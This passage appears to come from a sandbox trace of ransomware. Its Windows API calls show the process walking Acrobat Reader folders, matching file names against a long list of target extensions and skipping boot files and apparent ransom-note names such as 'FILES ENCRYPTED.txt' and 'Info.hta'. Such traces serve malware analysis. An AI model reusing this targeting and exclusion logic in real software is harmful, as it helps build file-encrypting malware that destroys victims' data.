lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.657] lstrlenW (lpString=".jpx") returned 4 [0271.657] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.657] lstrlenW (lpString=".js") returned 3 [0271.657] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.657] lstrlenW (lpString="ui-strings.js") returned 13 [0271.657] lstrlenW (lpString=".love$") returned 6 [0271.657] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0271.657] lstrlenW (lpString="ui-strings.js") returned 13 [0271.657] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0271.657] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0271.657] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0271.657] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0271.658] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0271.658] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0271.658] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0271.658] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0271.658] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js") returned 133 [0271.658] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.658] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0271.658] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.658] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0271.658] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk") returned 119 [0271.658] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk") returned 1 [0271.658] lstrlenW (lpString="da-dk") returned 5 [0271.658] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-dk") returned -1 [0271.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.659] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk") returned 119 [0271.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0271.659] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.659] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.659] lstrlenW (lpString="ui-strings.js") returned 13 [0271.659] lstrlenW (lpString=".1cd") returned 4 [0271.659] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.659] lstrlenW (lpString=".3ds") returned 4 [0271.659] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.659] lstrlenW (lpString=".3fr") returned 4 [0271.659] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.659] lstrlenW (lpString=".3g2") returned 4 [0271.660] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.660] lstrlenW (lpString=".3gp") returned 4 [0271.660] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.660] lstrlenW (lpString=".7z") returned 3 [0271.660] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.660] lstrlenW (lpString=".accda") returned 6 [0271.660] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.660] lstrlenW (lpString=".accdb") returned 6 [0271.660] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.660] lstrlenW (lpString=".accdc") returned 6 [0271.660] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.660] lstrlenW (lpString=".accde") returned 6 [0271.660] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.660] lstrlenW (lpString=".accdt") returned 6 [0271.660] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.660] lstrlenW (lpString=".accdw") returned 6 [0271.661] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.661] lstrlenW (lpString=".adb") returned 4 [0271.661] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".adp") returned 4 [0271.661] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".ai") returned 3 [0271.661] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.661] lstrlenW (lpString=".ai3") returned 4 [0271.661] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".ai4") returned 4 [0271.661] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".ai5") returned 4 [0271.661] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".ai6") returned 4 [0271.661] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".ai7") returned 4 [0271.661] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".ai8") returned 4 [0271.661] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.661] lstrlenW (lpString=".anim") returned 5 [0271.662] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.662] lstrlenW (lpString=".arw") returned 4 [0271.662] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.662] lstrlenW (lpString=".as") returned 3 [0271.662] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.662] lstrlenW (lpString=".asa") returned 4 [0271.662] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.662] lstrlenW (lpString=".asc") returned 4 [0271.662] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.662] lstrlenW (lpString=".ascx") returned 5 [0271.662] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.662] lstrlenW (lpString=".asm") returned 4 [0271.662] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.662] lstrlenW (lpString=".asmx") returned 5 [0271.662] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.662] lstrlenW (lpString=".asp") returned 4 [0271.662] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.662] lstrlenW (lpString=".aspx") returned 5 [0271.662] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.662] lstrlenW (lpString=".asr") returned 4 [0271.662] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.662] lstrlenW (lpString=".asx") returned 4 [0271.663] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".avi") returned 4 [0271.663] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".avs") returned 4 [0271.663] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".backup") returned 7 [0271.663] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.663] lstrlenW (lpString=".bak") returned 4 [0271.663] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".bay") returned 4 [0271.663] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".bd") returned 3 [0271.663] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.663] lstrlenW (lpString=".bin") returned 4 [0271.663] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".bmp") returned 4 [0271.663] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.663] lstrlenW (lpString=".bz2") returned 4 [0271.835] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.835] lstrlenW (lpString=".c") returned 2 [0271.835] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.835] lstrlenW (lpString=".cdr") returned 4 [0271.835] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.835] lstrlenW (lpString=".cer") returned 4 [0271.835] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.835] lstrlenW (lpString=".cf") returned 3 [0271.835] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.835] lstrlenW (lpString=".cfc") returned 4 [0271.835] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.835] lstrlenW (lpString=".cfm") returned 4 [0271.835] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".cfml") returned 5 [0271.836] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.836] lstrlenW (lpString=".cfu") returned 4 [0271.836] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".chm") returned 4 [0271.836] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".cin") returned 4 [0271.836] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".class") returned 6 [0271.836] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.836] lstrlenW (lpString=".clx") returned 4 [0271.836] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".config") returned 7 [0271.836] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.836] lstrlenW (lpString=".cpp") returned 4 [0271.836] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".cr2") returned 4 [0271.836] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".crt") returned 4 [0271.836] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".crw") returned 4 [0271.836] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".cs") returned 3 [0271.836] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.836] lstrlenW (lpString=".css") returned 4 [0271.836] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.836] lstrlenW (lpString=".csv") returned 4 [0271.837] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".cub") returned 4 [0271.837] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dae") returned 4 [0271.837] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dat") returned 4 [0271.837] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".db") returned 3 [0271.837] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.837] lstrlenW (lpString=".dbf") returned 4 [0271.837] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dbx") returned 4 [0271.837] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dc3") returned 4 [0271.837] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dcm") returned 4 [0271.837] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dcr") returned 4 [0271.837] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".der") returned 4 [0271.837] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dib") returned 4 [0271.837] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.837] lstrlenW (lpString=".dic") returned 4 [0271.837] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".dif") returned 4 [0271.838] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".divx") returned 5 [0271.838] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.838] lstrlenW (lpString=".djvu") returned 5 [0271.838] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.838] lstrlenW (lpString=".dng") returned 4 [0271.838] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".doc") returned 4 [0271.838] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".docm") returned 5 [0271.838] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.838] lstrlenW (lpString=".docx") returned 5 [0271.838] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.838] lstrlenW (lpString=".dot") returned 4 [0271.838] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".dotm") returned 5 [0271.838] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.838] lstrlenW (lpString=".dotx") returned 5 [0271.838] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.838] lstrlenW (lpString=".dpx") returned 4 [0271.838] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".dqy") returned 4 [0271.838] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.838] lstrlenW (lpString=".dsn") returned 4 [0271.839] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".dt") returned 3 [0271.839] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.839] lstrlenW (lpString=".dtd") returned 4 [0271.839] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".dwg") returned 4 [0271.839] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".dwt") returned 4 [0271.839] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".dx") returned 3 [0271.839] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.839] lstrlenW (lpString=".dxf") returned 4 [0271.839] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".edml") returned 5 [0271.839] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.839] lstrlenW (lpString=".efd") returned 4 [0271.839] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".elf") returned 4 [0271.839] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".emf") returned 4 [0271.839] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.839] lstrlenW (lpString=".emz") returned 4 [0271.839] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.840] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.840] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0271.840] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.840] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0271.840] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.840] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de") returned 119 [0271.840] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0271.841] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.841] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.841] lstrlenW (lpString="ui-strings.js") returned 13 [0271.841] lstrlenW (lpString=".1cd") returned 4 [0271.841] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.841] lstrlenW (lpString=".3ds") returned 4 [0271.841] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.841] lstrlenW (lpString=".3fr") returned 4 [0271.841] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.841] lstrlenW (lpString=".3g2") returned 4 [0271.841] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.841] lstrlenW (lpString=".3gp") returned 4 [0271.841] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.841] lstrlenW (lpString=".7z") returned 3 [0271.841] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.841] lstrlenW (lpString=".accda") returned 6 [0271.841] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.841] lstrlenW (lpString=".accdb") returned 6 [0271.841] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.842] lstrlenW (lpString=".accdc") returned 6 [0271.842] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.842] lstrlenW (lpString=".accde") returned 6 [0271.842] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.842] lstrlenW (lpString=".accdt") returned 6 [0271.842] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.842] lstrlenW (lpString=".accdw") returned 6 [0271.842] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.842] lstrlenW (lpString=".adb") returned 4 [0271.842] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.842] lstrlenW (lpString=".adp") returned 4 [0271.842] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.842] lstrlenW (lpString=".ai") returned 3 [0271.842] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.842] lstrlenW (lpString=".ai3") returned 4 [0271.842] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.842] lstrlenW (lpString=".ai4") returned 4 [0271.842] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.842] lstrlenW (lpString=".ai5") returned 4 [0271.842] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.842] lstrlenW (lpString=".ai6") returned 4 [0271.842] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.842] lstrlenW (lpString=".ai7") returned 4 [0271.843] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".ai8") returned 4 [0271.843] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".anim") returned 5 [0271.843] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.843] lstrlenW (lpString=".arw") returned 4 [0271.843] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".as") returned 3 [0271.843] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.843] lstrlenW (lpString=".asa") returned 4 [0271.843] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".asc") returned 4 [0271.843] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".ascx") returned 5 [0271.843] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.843] lstrlenW (lpString=".asm") returned 4 [0271.843] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".asmx") returned 5 [0271.843] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.843] lstrlenW (lpString=".asp") returned 4 [0271.843] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".aspx") returned 5 [0271.843] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.843] lstrlenW (lpString=".asr") returned 4 [0271.843] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.843] lstrlenW (lpString=".asx") returned 4 [0271.844] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".avi") returned 4 [0271.844] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".avs") returned 4 [0271.844] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".backup") returned 7 [0271.844] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.844] lstrlenW (lpString=".bak") returned 4 [0271.844] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".bay") returned 4 [0271.844] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".bd") returned 3 [0271.844] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.844] lstrlenW (lpString=".bin") returned 4 [0271.844] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".bmp") returned 4 [0271.844] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".bz2") returned 4 [0271.844] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.844] lstrlenW (lpString=".c") returned 2 [0271.844] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.844] lstrlenW (lpString=".cdr") returned 4 [0271.844] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".cer") returned 4 [0271.845] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".cf") returned 3 [0271.845] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.845] lstrlenW (lpString=".cfc") returned 4 [0271.845] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".cfm") returned 4 [0271.845] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".cfml") returned 5 [0271.845] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.845] lstrlenW (lpString=".cfu") returned 4 [0271.845] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".chm") returned 4 [0271.845] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".cin") returned 4 [0271.845] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".class") returned 6 [0271.845] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.845] lstrlenW (lpString=".clx") returned 4 [0271.845] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".config") returned 7 [0271.845] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.845] lstrlenW (lpString=".cpp") returned 4 [0271.845] lstrcmpiW 